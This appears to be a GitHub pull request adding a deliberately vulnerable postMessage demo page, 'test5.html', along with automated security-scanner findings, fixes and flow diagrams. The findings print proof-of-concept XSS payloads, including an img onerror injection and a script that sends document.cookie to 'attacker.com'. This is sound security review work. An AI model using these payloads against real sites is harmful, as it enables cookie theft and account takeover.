Create test5.html#24
Conversation
| <p id="origin">Last message origin: <em>(none)</em></p> | ||
| <div id="output">No message yet.</div> | ||
| </div> | ||
|
|
There was a problem hiding this comment.
🔴 Missing Origin Validation Allows Universal Message Reception
Severity: high
File: test5.html (Line 26)
Description: The window.addEventListener('message') handler accepts messages from any origin without validation. While the origin is displayed to the user, there is no programmatic check to reject messages from untrusted sources. This violates the principle of least privilege and creates an attack surface for malicious cross-origin communication.
Proof of Concept:
Any website can send messages to this page:
// From https://evil.com
const victimWindow = window.open('https://victim.com/test5.html');
victimWindow.postMessage(maliciousPayload, '*');
Recommended fix:
window.addEventListener('message', (event) => {
const allowedOrigins = ['https://trusted.example.com'];
if (!allowedOrigins.includes(event.origin)) {
console.warn('Rejected message from:', event.origin);
return;
}
// Process message safely
});
Finding ID: 550e8400-e29b-41d4-a716-446655440003
| // VULNERABLE IMPLEMENTATION — DO NOT USE IN PRODUCTION | ||
| // This listener accepts messages from ANY origin and injects the data into the DOM without sanitization. | ||
| window.addEventListener('message', (event) => { | ||
| // Shows the origin but FAILS to validate it (critical bug) |
There was a problem hiding this comment.
🚨 DOM-based XSS via Unsafe innerHTML Assignment
Severity: critical
File: test5.html (Line 31)
Description: The application directly assigns untrusted data from postMessage to innerHTML without sanitization. This creates a DOM-based Cross-Site Scripting (XSS) vulnerability where an attacker can inject and execute arbitrary JavaScript code.
Proof of Concept:
An attacker can inject malicious HTML/JavaScript:
1. From another window:
window.opener.postMessage('<img src=x onerror="alert('XSS')">', '*');
2. Or with a more sophisticated payload:
window.opener.postMessage('<script>fetch("https://attacker.com?cookie="+document.cookie)</script>', '*');
Both will execute in the victim's browser context.
Finding ID: 550e8400-e29b-41d4-a716-446655440002
| <p id="origin">Last message origin: <em>(none)</em></p> | ||
| <div id="output">No message yet.</div> | ||
| </div> | ||
|
|
There was a problem hiding this comment.
🔴 Insecure postMessage without Origin Validation
Severity: high
File: test5.html (Line 26)
Description: The message event listener does not validate event.origin before processing messages. This allows any malicious website to send arbitrary messages to this page, potentially leading to Cross-Site Scripting (XSS) attacks.
Proof of Concept:
An attacker can exploit this by opening this page and sending a malicious postMessage:
window.opener.postMessage('<img src=x onerror=alert(document.cookie)>', '*');
This will execute arbitrary JavaScript in the context of the vulnerable page.
Finding ID: 550e8400-e29b-41d4-a716-446655440001
🔒 Hacktron Security Scan Results🔒 Security Scan ResultsThis PR introduces a new HTML page ( 🎯 What This PR DoesAdds a demonstration page showing common postMessage security anti-patterns:
🔍 Security Analysis Flowgraph TD
A[External Website] -->|postMessage| B[test5.html]
B --> C{Origin Validation?}
C -->|❌ NO CHECK| D[Accept Any Origin]
D --> E[Extract event.data]
E --> F{Sanitization?}
F -->|❌ NO SANITIZATION| G[innerHTML Assignment]
G --> H[💥 XSS Execution]
style C fill:#ff6b6b
style D fill:#ff6b6b
style F fill:#ff6b6b
style G fill:#ff6b6b
style H fill:#ff0000,color:#fff
|
🔒 Hacktron Security Scan Results🔒 Security Analysis: postMessage ImplementationThis PR introduces a new HTML page ( 📊 Architecture Overviewgraph TD
A[Browser Window] -->|postMessage| B[Message Event Listener]
B -->|No Origin Check| C[Accept Any Message]
C -->|Direct Assignment| D[innerHTML Sink]
D -->|Execute| E[XSS Payload]
style C fill:#ff6b6b
style D fill:#ff6b6b
style E fill:#ff6b6b
🎯 What This PR DoesThis PR adds a demonstration page for cross-origin communication using the
|
No description provided.